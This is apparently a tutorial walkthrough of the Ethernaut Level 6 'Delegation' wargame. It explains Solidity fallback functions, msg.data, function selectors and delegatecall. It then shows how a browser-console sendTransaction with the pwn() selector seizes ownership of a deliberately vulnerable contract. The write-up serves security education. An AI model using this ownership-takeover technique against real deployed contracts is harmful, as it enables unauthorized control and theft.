In this level, we will familiarize ourselves with delegatecall
and fallback
. This serves as a preliminary step towards understanding more advanced concepts, like the proxy pattern.This article will clarify delegatecall
and fallback
, demonstrating how to use this knowledge to overcome this challenge.
Goal of Ethernaut Level 6
Claim ownership
of Delegation
contract
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract Delegate {
address public owner;
constructor(address _owner) {
owner = _owner;
}
function pwn() public {
owner = msg.sender;
}
}
contract Delegation {
address public owner;
Delegate delegate;
constructor(address _delegateAddress) {
delegate = Delegate(_delegateAddress);
owner = msg.sender;
}
fallback() external {
(bool result,) = address(delegate).delegatecall(msg.data);
if (result) {
this;
}
}
}
Understanding fallback
and delegatecall
fallback()
fallback
is a special function that is executed either when
- calling non-existent functions
- sending ether directly to a contract but
receive()
does not exist ormsg.data
is not empty
In this challenge, we are focusing on the first reason.
Example
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract FallbackContract {
event Called(bytes data);
fallback() external {
emit Called(msg.data);
}
}
- Lets call
helloWorld()
of the above contract, ashelloWorld()
does not exist,fallback
will be executed. - If we check emitted event, you will see
[
{
"from": "0xd2a5bC10698FD955D1Fe6cb468a17809A08fd005",
"topic": "0x43728e47c6f378312077a49106659446a23766fc65b3674c995b89121d8efeea",
"event": "Called",
"args": {
"0": "0xc605f76c",
"data": "0xc605f76c"
}
}
]
About msg.data
msg.data
is a special variable in Solidity that contains the data that is sent when calling a function on a smart contract.
When invoking a function, msg.data
consists of the function selector and arguments.
- The function selector is the first four bytes of the ****
msg.data
. - To calculate the function selector:
- Compute the keccak256 hash of the function signature (e.g.,
keccak256("helloWorld()")
). - Take the first 4 bytes of the hash.
- This resulting value is the function selector.
- Compute the keccak256 hash of the function signature (e.g.,
delegatecall()
delegatecall
is a low level function similar tocall
.- When contract
A
executesdelegatecall
to contractB
,B
‘s code is executed with contractA
‘s storage,msg.sender
andmsg.value
.
Example
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract A {
uint256 public number;
function delegateB(address contractB) external {
(bool success, bytes memory data) = contractB.delegatecall(
abi.encodeWithSignature("increase()")
);
}
}
contract B {
uint256 public number;
function increase() external {
number+=1;
}
}
- When we execute
delegateB
, it results in thenumber
of contract A being incremented, instead of thenumber
of contract B.
Hacking
- We execute a call to
pwn()
within the Delegation contract. - As
pwn()
is not a defined function in Delegation, the contract invokes itsfallback
function. - The
fallback
function then invokesdelegatecall
to executepwn()
within the context of theDelegate
contract, utilizing the storage ofDelegation
.
// Open your browser's console
sendTransaction({
from: "<Player address>",
to: "<Delegation contract address>",
data:"0xdd365b8b" // pwn() selector
})
Congratulations! You completed the Ethernaut level 6 – Delegation challenge 🥳
Security Takeaways
- Ensure you fully understand the calling contract when using
delegatecall
. - Please be careful about storage orders when using
delegatecall
. Ensure it correctly changes the state.
Ready for the next Ethernaut challenge? Click to check out the previous ethernaut challenge and see what’s next in our series!
FAQs
What is the Ethernaut Level 6: Delegation challenge about?
- The challenge involves interacting with a delegate call in Ethereum smart contracts to exploit vulnerabilities and take ownership of the contract.
How do you solve the Delegation level in Ethernaut?
- The solution requires understanding delegate calls and how they can be manipulated to change contract states, including using the fallback function.
What skills are necessary to complete Ethernaut Level 6?
- Knowledge of Solidity, smart contract security, the Ethereum Virtual Machine (EVM), and JavaScript for interacting with the blockchain.
Can completing Ethernaut Level 6 help improve my blockchain security skills?
- Yes, it offers practical experience in identifying and exploiting smart contract vulnerabilities, crucial for blockchain security professionals.
What are delegate calls in Ethereum smart contracts?
- Delegate calls are a feature that allows one contract to call another’s function and run it with the original contract’s storage context.
Where can I learn more about blockchain security?
- Consider online courses, webinars, workshops, and industry conferences focused on cryptocurrency, blockchain technology, and cybersecurity.
What is Ethernaut and who should try it?
- Ethernaut is an open-source wargame for those interested in Ethereum and smart contract security, ideal for developers and security enthusiasts.
How can one practice Ethereum smart contract coding?
- Engage in coding challenges like Ethernaut, contribute to open-source projects, and build personal projects on Ethereum networks.
What are common vulnerabilities in Ethereum smart contracts?
- Common issues include reentrancy attacks, mishandling of delegate calls, and failures in access control.
Why is understanding smart contracts important for blockchain technology?
- Smart contracts are integral to decentralized applications on blockchain platforms; understanding them is crucial for building secure, efficient systems.